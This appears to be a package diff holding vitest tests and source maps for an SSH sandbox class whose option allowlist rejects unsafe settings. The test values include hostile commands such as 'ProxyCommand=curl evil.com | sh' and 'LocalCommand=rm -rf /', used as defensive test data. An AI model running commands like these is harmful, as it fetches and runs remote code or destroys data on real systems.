  453. package/dist/src/vended-tools/file-editor/file-editor.js.map +1 -1
  454. package/dist/src/vended-tools/file-editor/index.d.ts +2 -1
  455. package/dist/src/vended-tools/file-editor/index.d.ts.map +1 -1
  456. package/dist/src/vended-tools/file-editor/index.js +1 -1
  457. package/dist/src/vended-tools/file-editor/index.js.map +1 -1
  458. package/dist/src/vended-tools/index.d.ts +17 -0
  459. package/dist/src/vended-tools/index.d.ts.map +1 -0
  460. package/dist/src/vended-tools/index.js +17 -0
  461. package/dist/src/vended-tools/index.js.map +1 -0
  462. package/package.json +66 -15
@@ -0,0 +1 @@
1
+ {"version":3,"file":"ssh.test.node.d.ts","sourceRoot":"","sources":["../../../../src/sandbox/__tests__/ssh.test.node.ts"],"names":[],"mappings":""}
@@ -0,0 +1,262 @@
1
+ import { describe, it, expect, vi, beforeEach } from 'vitest';
2
+ import { SshSandbox } from '../ssh.js';
3
+ import { streamProcess } from '../stream-process.js';
4
+ import { SANDBOX_BASH_DESCRIPTION } from '../../vended-tools/bash/types.js';
5
+ vi.mock('../stream-process.js', () => ({
6
+ streamProcess: vi.fn(async function* () {
7
+ yield {
8
+ type: 'executionResult',
9
+ exitCode: 0,
10
+ stdout: '',
11
+ stderr: '',
12
+ outputFiles: [],
13
+ };
14
+ }),
15
+ }));
16
+ describe('SshSandbox', () => {
17
+ beforeEach(() => {
18
+ vi.mocked(streamProcess).mockClear();
19
+ });
20
+ describe('constructor', () => {
21
+ it('stores host and workingDir', () => {
22
+ const sandbox = new SshSandbox({ host: 'myhost', workingDir: '/workspace' });
23
+ expect(sandbox.host).toBe('myhost');
24
+ expect(sandbox.workingDir).toBe('/workspace');
25
+ });
26
+ });
27
+ describe('SSH option allowlist', () => {
28
+ it('permits known-safe options', () => {
29
+ expect(() => new SshSandbox({
30
+ host: 'h',
31
+ workingDir: '/w',
32
+ sshOptions: ['ConnectTimeout=10', 'ServerAliveInterval=60', 'Compression=yes'],
33
+ })).not.toThrow();
34
+ });
35
+ it('rejects ProxyCommand', () => {
36
+ expect(() => new SshSandbox({
37
+ host: 'h',
38
+ workingDir: '/w',
39
+ sshOptions: ['ProxyCommand=curl evil.com | sh'],
40
+ })).toThrow(/ProxyCommand.*not allowed/);
41
+ });
42
+ it('rejects Include', () => {
43
+ expect(() => new SshSandbox({ host: 'h', workingDir: '/w', sshOptions: ['Include=/tmp/evil.conf'] })).toThrow(/Include.*not allowed/);
44
+ });
45
+ it('rejects Match', () => {
46
+ expect(() => new SshSandbox({ host: 'h', workingDir: '/w', sshOptions: ['Match exec "curl evil.com"'] })).toThrow(/Match.*not allowed/);
47
+ });
48
+ it('rejects LocalCommand', () => {
49
+ expect(() => new SshSandbox({ host: 'h', workingDir: '/w', sshOptions: ['LocalCommand=rm -rf /'] })).toThrow(/LocalCommand.*not allowed/);
50
+ });
51
+ it('rejects forwarding directives', () => {
52
+ for (const opt of ['LocalForward=8080:localhost:80', 'RemoteForward=9090:internal:80', 'DynamicForward=1080']) {
53
+ expect(() => new SshSandbox({ host: 'h', workingDir: '/w', sshOptions: [opt] })).toThrow(/not allowed/);
54
+ }
55
+ });
56
+ it('is case-insensitive', () => {
57
+ expect(() => new SshSandbox({ host: 'h', workingDir: '/w', sshOptions: ['proxycommand=evil'] })).toThrow(/not allowed/);
58
+ expect(() => new SshSandbox({ host: 'h', workingDir: '/w', sshOptions: ['PROXYCOMMAND=evil'] })).toThrow(/not allowed/);
59
+ });
60
+ it('allowUnsafeSshOptions=true bypasses validation', () => {
61
+ expect(() => new SshSandbox({
62
+ host: 'h',
63
+ workingDir: '/w',
64
+ sshOptions: ['ProxyCommand=anything'],
65
+ allowUnsafeSshOptions: true,
66
+ })).not.toThrow();
67
+ });
68
+ });
69
+ describe('executeStreaming SSH argument construction', () => {
70
+ it('builds correct SSH args with defaults', async () => {
71
+ const sandbox = new SshSandbox({ host: 'user@server.com', workingDir: '/remote/path' });
72
+ for await (const _ of sandbox.executeStreaming('echo hi')) {
73
+ // consume
74
+ }
75
+ expect(streamProcess).toHaveBeenCalledWith('ssh', [
76
+ '-o',
77
+ 'StrictHostKeyChecking=accept-new',
78
+ '-o',
79
+ 'BatchMode=yes',
80
+ '-p',
81
+ '22',
82
+ '--',
83
+ 'user@server.com',
84
+ "cd '/remote/path' && echo hi",
85
+ ], { timeout: undefined, signal: undefined, enoentMessage: 'ssh is not installed or not on PATH' });
86
+ });
87
+ it('uses StrictHostKeyChecking=no when allowUnknownHosts is true', async () => {
88
+ const sandbox = new SshSandbox({ host: 'h', workingDir: '/w', allowUnknownHosts: true });
89
+ for await (const _ of sandbox.executeStreaming('ls')) {
90
+ // consume
91
+ }
92
+ const args = vi.mocked(streamProcess).mock.calls[0][1];
93
+ expect(args).toStrictEqual([
94
+ '-o',
95
+ 'StrictHostKeyChecking=no',
96
+ '-o',
97
+ 'BatchMode=yes',
98
+ '-p',
99
+ '22',
100
+ '--',
101
+ 'h',
102
+ "cd '/w' && ls",
103
+ ]);
104
+ });
105
+ it('includes identity file when provided', async () => {
106
+ const sandbox = new SshSandbox({
107
+ host: 'h',
108
+ workingDir: '/w',
109
+ identityFile: '/home/user/.ssh/key',
110
+ });
111
+ for await (const _ of sandbox.executeStreaming('ls')) {
112
+ // consume
113
+ }
114
+ const args = vi.mocked(streamProcess).mock.calls[0][1];
115
+ expect(args).toStrictEqual([
116
+ '-o',
117
+ 'StrictHostKeyChecking=accept-new',
118
+ '-o',
119
+ 'BatchMode=yes',
120
+ '-p',
121
+ '22',
122
+ '-i',
123
+ '/home/user/.ssh/key',
124
+ '--',
125
+ 'h',
126
+ "cd '/w' && ls",
127
+ ]);
128
+ });
129
+ it('uses custom port', async () => {
130
+ const sandbox = new SshSandbox({ host: 'h', workingDir: '/w', port: 2222 });
131
+ for await (const _ of sandbox.executeStreaming('ls')) {
132
+ // consume
133
+ }
134
+ const args = vi.mocked(streamProcess).mock.calls[0][1];
135
+ expect(args).toStrictEqual([
136
+ '-o',
137
+ 'StrictHostKeyChecking=accept-new',
138
+ '-o',
139
+ 'BatchMode=yes',
140
+ '-p',
141
+ '2222',
142
+ '--',
143
+ 'h',
144
+ "cd '/w' && ls",
145
+ ]);
146
+ });
147
+ it('appends user sshOptions as -o flags', async () => {
148
+ const sandbox = new SshSandbox({
149
+ host: 'h',
150
+ workingDir: '/w',
151
+ sshOptions: ['ConnectTimeout=5', 'ServerAliveInterval=30'],
152
+ });
153
+ for await (const _ of sandbox.executeStreaming('ls')) {
154
+ // consume
155
+ }
156
+ const args = vi.mocked(streamProcess).mock.calls[0][1];
157
+ expect(args).toStrictEqual([
158
+ '-o',
159
+ 'StrictHostKeyChecking=accept-new',
160
+ '-o',
161
+ 'BatchMode=yes',
162
+ '-p',
163
+ '22',
164
+ '-o',
165
+ 'ConnectTimeout=5',
166
+ '-o',
167
+ 'ServerAliveInterval=30',
168
+ '--',
169
+ 'h',
170
+ "cd '/w' && ls",
171
+ ]);
172
+ });
173
+ it('quotes cwd with single quotes', async () => {
174
+ const sandbox = new SshSandbox({ host: 'h', workingDir: "/path/with spaces/and'quotes" });
175
+ for await (const _ of sandbox.executeStreaming('ls')) {
176
+ // consume
177
+ }
178
+ const args = vi.mocked(streamProcess).mock.calls[0][1];
179
+ expect(args).toStrictEqual([
180
+ '-o',
181
+ 'StrictHostKeyChecking=accept-new',
182
+ '-o',
183
+ 'BatchMode=yes',
184
+ '-p',
185
+ '22',
186
+ '--',
187
+ 'h',
188
+ "cd '/path/with spaces/and'\\''quotes' && ls",
189
+ ]);
190
+ });
191
+ it('uses cwd option when provided', async () => {
192
+ const sandbox = new SshSandbox({ host: 'h', workingDir: '/default' });
193
+ for await (const _ of sandbox.executeStreaming('ls', { cwd: '/override' })) {
194
+ // consume
195
+ }
196
+ const args = vi.mocked(streamProcess).mock.calls[0][1];
197
+ expect(args).toStrictEqual([
198
+ '-o',
199
+ 'StrictHostKeyChecking=accept-new',
200
+ '-o',
201
+ 'BatchMode=yes',
202
+ '-p',
203
+ '22',
204
+ '--',
205
+ 'h',
206
+ "cd '/override' && ls",
207
+ ]);
208
+ });
209
+ it('forwards timeout and signal to streamProcess', async () => {
210
+ const sandbox = new SshSandbox({ host: 'h', workingDir: '/w' });
211
+ const controller = new AbortController();
212
+ for await (const _ of sandbox.executeStreaming('ls', { timeout: 5, signal: controller.signal })) {
213
+ // consume
214
+ }
215
+ const opts = vi.mocked(streamProcess).mock.calls[0][2];
216
+ expect(opts).toStrictEqual({
217
+ timeout: 5,
218
+ signal: controller.signal,
219
+ enoentMessage: 'ssh is not installed or not on PATH',
220
+ });
221
+ });
222
+ it('prefixes command with env vars when provided', async () => {
223
+ const sandbox = new SshSandbox({ host: 'h', workingDir: '/w' });
224
+ for await (const _ of sandbox.executeStreaming('echo $FOO', { env: { FOO: 'bar', BAZ: 'qux' } })) {
225
+ // consume
226
+ }
227
+ const args = vi.mocked(streamProcess).mock.calls[0][1];
228
+ expect(args).toStrictEqual([
229
+ '-o',
230
+ 'StrictHostKeyChecking=accept-new',
231
+ '-o',
232
+ 'BatchMode=yes',
233
+ '-p',
234
+ '22',
235
+ '--',
236
+ 'h',
237
+ "cd '/w' && export FOO='bar' BAZ='qux' && echo $FOO",
238
+ ]);
239
+ });
240
+ it('rejects invalid env var names', async () => {
241
+ const sandbox = new SshSandbox({ host: 'h', workingDir: '/w' });
242
+ await expect(async () => {
243
+ for await (const _ of sandbox.executeStreaming('cmd', { env: { 'FOO=bar BAZ': 'val' } })) {
244
+ // consume
245
+ }
246
+ }).rejects.toThrow('Invalid environment variable name');
247
+ });
248
+ });
249
+ describe('getTools', () => {
250
+ it('vends the sandbox-routed fileEditor and bash tools', () => {
251
+ const tools = new SshSandbox({ host: 'myhost', workingDir: '/workspace' }).getTools();
252
+ expect(tools.map((t) => t.name)).toStrictEqual(['fileEditor', 'bash']);
253
+ });
254
+ it('vends bash with the sandbox description', () => {
255
+ const tools = new SshSandbox({ host: 'myhost', workingDir: '/workspace' }).getTools();
256
+ const bashTool = tools.find((t) => t.name === 'bash');
257
+ expect(bashTool.description).toContain(SANDBOX_BASH_DESCRIPTION);
258
+ expect(bashTool.description).toContain('myhost');
259
+ });
260
+ });
261
+ });
262
+ //# sourceMappingURL=ssh.test.node.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"ssh.test.node.js","sourceRoot":"","sources":["../../../../src/sandbox/__tests__/ssh.test.node.ts"],"names":[],"mappings":"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"}
@@ -0,0 +1,156 @@
1
+ /**
2
+ * Base sandbox interface.
3
+ *
4
+ * Defines the abstract {@link Sandbox} class that all sandbox implementations
5
+ * must extend. The class provides six abstract operations (command execution,
6
+ * code execution, and file I/O) and convenience wrappers for common patterns.
7
+ */
8
+ import type { ExecutionResult, FileInfo, StreamChunk } from './types.js';
9
+ import type { Tool } from '../tools/tool.js';
10
+ /**
11
+ * Options for command and code execution.
12
+ */
13
+ export interface ExecuteOptions {
14
+ /** Maximum execution time in seconds. `undefined` means no timeout. */
15
+ timeout?: number | undefined;
16
+ /** Working directory for execution. `undefined` means use the sandbox default. */
17
+ cwd?: string | undefined;
18
+ /** Abort signal to cancel execution. The process is killed when the signal fires. */
19
+ signal?: AbortSignal | undefined;
20
+ /**
21
+ * Environment variables to set for this command. Built-in sandboxes always apply these,
22
+ * though the mechanism differs (Docker `-e` flags, SSH `env` prefix); custom `Sandbox`
23
+ * implementations must handle env explicitly or it has no effect.
24
+ */
25
